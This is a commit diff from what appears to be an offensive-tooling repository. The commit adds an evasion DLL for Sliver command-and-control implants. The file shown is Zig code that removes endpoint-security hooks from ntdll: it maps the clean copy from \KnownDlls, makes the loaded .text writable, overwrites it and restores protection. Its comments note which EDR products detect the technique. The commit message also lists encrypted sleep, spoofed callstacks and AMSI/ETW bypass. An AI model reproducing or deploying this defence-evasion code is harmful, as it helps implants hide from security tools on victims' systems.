Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.
This commit is contained in:
+27
-30
@@ -1,12 +1,6 @@
|
||||
// NTDLL unhooking — maps clean .text from \KnownDlls section object, overwrites EDR hooks.
|
||||
// Ref: https://ntdoc.m417z.com/ntopensection
|
||||
// MITRE: T1562.001 (Disable or Modify Tools)
|
||||
// DETECTION: Heavily signatured. DbgMan (May 2026): "CrowdStrike Falcon and SentinelOne
|
||||
// deploy signature detection for the unhooking byte-sequence pattern. Microsoft Defender
|
||||
// for Endpoint relies primarily on kernel callbacks and the ETW-TI provider rather than
|
||||
// user-mode inline hooks, making the entire user-mode unhook step strategically irrelevant
|
||||
// against MDE." Kept for environments without these EDRs. FreshyCalls (syscalls that
|
||||
// bypass hooks without unhooking) is the preferred approach.
|
||||
// Maps clean .text from \KnownDlls\ntdll.dll section object, overwrites EDR hooks.
|
||||
// Heavily signatured by CrowdStrike and SentinelOne. Irrelevant against MDE which
|
||||
// uses kernel callbacks and ETW-TI instead of user-mode hooks. FreshyCalls preferred.
|
||||
const std = @import("std");
|
||||
const syscall = @import("syscall.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
@@ -14,20 +8,14 @@ const win = @import("win32.zig");
|
||||
|
||||
var g_unhooked: bool = false;
|
||||
|
||||
// Restores clean ntdll .text by mapping the \KnownDlls\ntdll.dll section object.
|
||||
// EDR inline hooks live in the per-process ntdll copy. \KnownDlls holds the
|
||||
// original unmodified image mapped at boot by the kernel as a section object.
|
||||
// We map it into our process, copy clean .text over our hooked .text, and unmap.
|
||||
pub fn unhookNtdll() void {
|
||||
if (g_unhooked) return;
|
||||
g_unhooked = true;
|
||||
|
||||
// Resolve ntdll base via ror13 hash (same as syscall.zig does)
|
||||
const ntdll_hash = resolve.hash_ror13("ntdll.dll");
|
||||
const our_base = resolve.get_module_by_hash(ntdll_hash) orelse return;
|
||||
const our_bytes = @as([*]u8, @ptrCast(our_base));
|
||||
|
||||
// Parse PE headers to find .text bounds
|
||||
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@alignCast(our_bytes)));
|
||||
if (dos.e_magic != 0x5A4D) return;
|
||||
|
||||
@@ -42,7 +30,11 @@ pub fn unhookNtdll() void {
|
||||
var text_size: usize = 0;
|
||||
const section_off = dos.e_lfanew + 4 + 20 + 240;
|
||||
const sections = @as([*]align(1) extern struct {
|
||||
Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, pad: [12]u8, Characteristics: u32,
|
||||
Name: [8]u8,
|
||||
VirtualSize: u32,
|
||||
VirtualAddress: u32,
|
||||
pad: [20]u8,
|
||||
Characteristics: u32,
|
||||
}, @ptrFromInt(@intFromPtr(our_bytes) + @as(usize, @intCast(section_off))));
|
||||
for (0..nt.FileHeader.NumberOfSections) |i| {
|
||||
if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) {
|
||||
@@ -53,12 +45,11 @@ pub fn unhookNtdll() void {
|
||||
}
|
||||
if (text_va == 0 or text_size == 0) return;
|
||||
|
||||
// Open \KnownDlls\ntdll.dll section object
|
||||
const name = [_:0]u16{ '\\', 'K', 'n', 'o', 'w', 'n', 'D', 'l', 'l', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0 };
|
||||
var us: win.UNICODE_STRING = .{
|
||||
.Length = (@sizeOf(@TypeOf(name)) - 2),
|
||||
.MaximumLength = @sizeOf(@TypeOf(name)),
|
||||
.Buffer = @constCast(@ptrCast(&name)),
|
||||
.Buffer = @ptrCast(@constCast(&name)),
|
||||
};
|
||||
var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES);
|
||||
oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES);
|
||||
@@ -70,42 +61,48 @@ pub fn unhookNtdll() void {
|
||||
return;
|
||||
defer _ = syscall.nt_close(section_handle);
|
||||
|
||||
// Map the section into our process
|
||||
var view_base: ?*anyopaque = null;
|
||||
var view_size: win.SIZE_T = 0;
|
||||
_ = syscall.nt_map_view_of_section(
|
||||
section_handle, syscall.nt_current_process(),
|
||||
&view_base, 0, 0, null, &view_size, 2, // ViewUnmap = 2
|
||||
0, win.PAGE_READONLY,
|
||||
section_handle,
|
||||
syscall.nt_current_process(),
|
||||
&view_base,
|
||||
0,
|
||||
0,
|
||||
null,
|
||||
&view_size,
|
||||
2, // ViewUnmap = 2
|
||||
0,
|
||||
win.PAGE_READONLY,
|
||||
);
|
||||
|
||||
if (view_base != null and view_size >= text_size) {
|
||||
// Copy clean .text from mapped section to our process's ntdll
|
||||
const clean_base = @as([*]u8, @ptrCast(view_base));
|
||||
const our_text = our_bytes[text_va .. text_va + text_size];
|
||||
|
||||
// Make our .text writable for the copy
|
||||
var region_size: win.SIZE_T = text_size;
|
||||
var old_prot: win.DWORD = 0;
|
||||
var base_ptr: ?*anyopaque = @ptrCast(&our_bytes[text_va]);
|
||||
if (!win.NT_SUCCESS(syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(),
|
||||
&base_ptr, ®ion_size,
|
||||
win.PAGE_READWRITE, &old_prot,
|
||||
&base_ptr,
|
||||
®ion_size,
|
||||
win.PAGE_READWRITE,
|
||||
&old_prot,
|
||||
))) return;
|
||||
|
||||
@memcpy(our_text, clean_base[0..text_size]);
|
||||
|
||||
// Restore protection
|
||||
base_ptr = @ptrCast(&our_bytes[text_va]);
|
||||
region_size = text_size;
|
||||
_ = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(),
|
||||
&base_ptr, ®ion_size,
|
||||
win.PAGE_EXECUTE_READ, &old_prot,
|
||||
&base_ptr,
|
||||
®ion_size,
|
||||
win.PAGE_EXECUTE_READ,
|
||||
&old_prot,
|
||||
);
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
if (view_base) |b| _ = syscall.nt_unmap_view_of_section(syscall.nt_current_process(), b);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user